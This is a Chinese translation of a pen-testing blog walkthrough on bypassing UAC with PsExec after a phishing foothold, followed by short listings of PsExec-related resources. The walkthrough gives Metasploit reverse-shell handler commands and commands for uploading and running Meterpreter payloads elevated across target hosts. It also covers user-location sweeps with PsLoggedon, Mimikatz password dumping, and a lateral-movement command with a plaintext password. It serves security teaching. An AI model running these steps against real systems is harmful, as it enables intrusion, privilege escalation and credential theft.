`

[译]PsExec绕过UAC

 
阅读更多
原文地址:http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass

注意:本例可以通过metasploit中exploit/windows/local/current_user_psexec模块解决。


场景:
我们成功通过钓鱼欺骗一个用户点击恶意文件,然后我们获得一个shell。开启反向shell:
引用
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 53
msf exploit(handler) > set lhost my_ip_address
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

通过设置ExitOnSession为false来让connection保持连接(即使一个连接退出,仍然保持listening状态)。当设置ExitOnSession时,exploit命令必须使用-j(作为job开始运行)和-z(不立即进行session交换--也即是自动后台运行)。
一会儿,有人被骗点击链接了,从而我们获得一个shell,但是有一个问题--我们的Meterpreter运行在一个没有提权的token中。所以getsystem,hashdump,以及其他类似的命令都会得到一个“Access Denied”信息。我们的目标安装了所以补丁。当然普通权限的user很有用,但是system级别权限的user会更有用。
攻击:
PsExec提供一个-h选项,他可以使用高权限(如果可能的话)来在远端主机上执行特定可执行文件。这意味着我们可以上传PsExec,然后使用它通过高权限来在其他主机上运行命令。可惜的是,我们不能用PsExec来对PsExec所在的机器来进行类似的操作(例如不可以在127.0.0.1)。但是,我们可以在目标环境中在另一台机器上进行跳转,获得高权限,然后在跳转到其他地方,甚至最终跳转到我们的起始点。
首先我们需要上传PsExec到目标机,叫做Box0,它是最初的突破点。我们同时需要上传一个meterpreter payload到Box0.我们将会这些文件来找到一个我们可以认证为高级权限的系统。命令:
引用

meterpreter > upload /my/local/path/to/metr.exe \\users\\MrClickHappy\\metr.exe meterpreter > upload /my/local/path/to/PsExec.exe \\users\\MrClickHappy\\PsExec.exe meterpreter > upload /my/local/path/to/targets.txt \\users\\MrClickHappy\\targets.txt
meterpreter > shell
Process 3052 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Users\MrClickHappy> PsExec.exe @targets.txt -accepteula -c -f -h -d metr.exe

命令使用现有user的口令来把Meterpreter payload上传到远端主机(-c),如果已存在该文件,那么覆盖(-f),使用提权权限运行(-h),不等进行终止(-d),禁止EULA(-accepteula)。目标列表通过(@)提供,这样命令将会持续运行。
因为我们没有密码或hash,所以不能使用Meterpreter PsExec模块。幸运的是,Windows最终通过PsExec.exe将我们现有的user口令传递到远端主机。并且允许我们通过提权口令运行Meterpretershell,远端主机定义在我们target.txt中。更好的是,新的shell是一个高权限的 shell(假如user有该权限)。并且在新的目标中我们不需要处理UAC。
假如我们欺骗的user拥有Box1的管理员权限。通过在Box上运行之前买的命令我们可以在Box1上运行psexec指定的命令,一个新的Meterpreter session将会连接到我们的listener上。
引用
  • Sending stage (751104 bytes) to Box1_ip
  • Meterpreter session 1 opened (my_ip:5555 -> Box1_ip:49160) at 2013-03-30 15:30:03 -0500
  • msf> sessions -i 1
    meterpreter > getsystem
    ...got system (via technique 1).

    这时,我们在Box0上有一个低权限的shell和在Box1上有一个高级权限的shell,两者都是用相同的user口令。这时在Box1上可以运行需要system权限的命令了,例如hashdump。但是仍然有一个小问题。
    如果我们想以一个高权限回到我们最初的机器上,我们不能在Box1上使用pass-thru认证,因为"double-hop"问题。详细介绍http://support.microsoft.com/default.aspx?scid=kb;en-us;329986在我们的例子中,第一hop是从Box0到Box1,第二hop是从Box1到任何主机(包含Box0).远程认证SMB需要一个主token(primary token),所以Box1系统必须知道客户端的密码来把主token(primary token)传递到某个地方(例如Box0).因为Box1只有一个辅助token(secondary token),所以使用NTAUTHORITY\ANONYMOUS账户口令,这样一个session就不会建立。
    如果我们希望在我们原来的机器上提权,我们需要另一个系统,在这个系统上我们的目标user运行主token(primary token)。要找到这种user,我们需要使用另一个PsTool工具-PsLoggenon.ext。
    PsLoggedon不支持node列表,所以我们需要使用Windows cmd.exe命令来封装。下面的命令将会遍历一组目标系统来查询我们的目标user当前登录的系统。同时也会使用pass-thru来传递一个user口令。
    引用
    C:\> for /F %i in (targets.txt) do @PsLoggedon.exe \\%i 2>NUL | find "MrClickHappy" >NUL && echo %i
    Box13
    Box37

    现在Box13可以作为PsExec和Meterpreter payload的目标。一旦建立shell了,可以使用Metasploit Mimikatz模块dump出纯文本口令。这个远程主机同时含有"primary token",所以PsExec可以用来在Box1上获得一个高权限user。
    当然了如果你获得密码了,就可以解决double hop问题了。你只需要一个跳转的主机。
    引用
    C:\> PsExec.exe -u MrClickHappy -p Password1 -h -c -v @targets.txt PsExec.exe \\Box0 -d -s -u MrClickHappy -p Password1 \Users\MrClickHappy\metr.exe

    当找到一个可以认证的主机,它将会copy PsExec.exe可执行文件并且使用它在Box1上运行Meterpreter。这样就会给我们一个system权限的shell。
    分享到:
    评论

    相关推荐

      psexec

      "psexec"是一款强大的系统管理工具,由Sysinternals(现为Microsoft的一部分)开发,主要用于远程执行命令和程序。它的全名是“Process Explorer as a Service”,它允许管理员在本地或远程计算机上以不同权限级别...

      psexec远程控制工具

      psexec远程控制工具

      第八十三课:基于白名单PsExec执行payload第十三季.docx

      - **PsExec绕过白名单的方法**:当PsExec被添加到白名单中时,可以通过PsExec远程执行不在白名单内的payload。这是因为PsExec本身是一个合法的工具,其执行的payload则依赖于PsExec的权限来进行操作。 #### 示例:...

      Psexec远程CMD工具

      【Psexec远程CMD工具】是Sysinternals(现已被微软收购)开发的一款强大而实用的工具,主要用于在远程系统上执行命令行操作。这款工具以其简单易用和功能全面的特点,深受IT管理员喜爱,尤其在系统管理和故障排查中...

      PsExec工具

      "PsExec工具"是Windows Sysinternals工具集中的一个强大实用程序,由Mark Russinovich开发,主要用于在本地或远程系统上执行命令行程序。它以其灵活性和功能多样性而著称,尤其对于系统管理员和IT专业人员来说,是...

      PsExec64.zip

      ....使用PsExec64.exe提升cmd权限 1. 将PsExec64复制到服务器 2. 运行cmd命令: PsExec64.exe /s cmd 如果不成功,则执行下条命令 PsExec64.exe \\127.0.0.1 -u 服务器用户名 -p 服务器密码 /s cmd

      psexec 远程连接工具

      psexec psexec是一个远程执行工具,你可以像使用telnet一样使用它。 它的使用格式为: psexec \\远程机器ip [-u username [-p password]] [-c [-f]] [-i][-d] program [arguments] 它的参数有: -u后面跟用户名 -p...

      psexec的用法 例

      PsExec 开关 说明 -a 指定处理器关联。 -c 指示是否应将应用程序复制到远程系统。 -d 指定在退出前不等待进程结束(不等待成功或失败的消息)。 -e 使用指定帐户的配置文件加载。 -f 即使远程系统上存在该应用...

      psexec远程安装软件

      PsExec的用法如下:    1)psexec  usage: psexec \computer [-u username [-p password] [-c [-f] [-i][-d] program [arguments]    psexec是一个远程执行工具,你可以像使用telnet一样使用它。  它的使用格式...

      psexec免费版

      PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig...

      使用System权限运行应用程序工具PsExec

      在命令行中输入:psexec -i -d -s regedit.exe 然后在弹出的交互式服务对话框检测中点击显示消息就OK。 本人用此来解决在VISTA下由于使用UE而导致的花屏或者蓝屏0x00000018问题,详细解决方案参考本人xchuu的163里面...

      PsExec ipc连接利用工具

      PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig...

      psexec工具

      psexec 下载工具,可远程连接控制主机下载文件,像telnet一样

      PsExec.exe

      PsExec 是一个轻型的 telnet 替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,并且可以获得与控制台应用程序相当的完全交互性。PsExec 最强大的功能之一是在远程系统和远程支持工具(如 IpConfig...

      PsExec 1.82 版

      软件名称:PsExec 1.82 版 软件大小:888 KB 软件语言:英文 运行环境:DOS\命令提示符 软件介绍:  PsExec 是一个轻型的telnet替代工具,它使您无需手动安装客户端软件即可执行其他系统上的进程,...

      PsExec64.exe

      用于获取软件中图片,可以在ctf 中给你一个软件后获取内容

      PsExec,制作VHD文件必备

      PsExec.EXE,制作VHD文件必备

      108-浅谈PSEXEC做的那些事.pdf

      在使用PsExec时,如果远程系统的UAC设置为远程用户禁用,可能会导致PsExec无法正常执行。关掉UAC或调整注册表可以解决这一问题。注册表调整方法是在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\...

      pstools(pslist, pskill,psexec)

      这个工具包包括了三个主要的组件:pslist、pskill和psexec,它们在IT领域中被广泛用于系统管理员进行诊断、监控和控制远程计算机的任务。 1. **pslist**: 这个工具的主要功能是列出指定计算机上运行的所有进程及其...

    Global site tag (gtag.js) - Google Analytics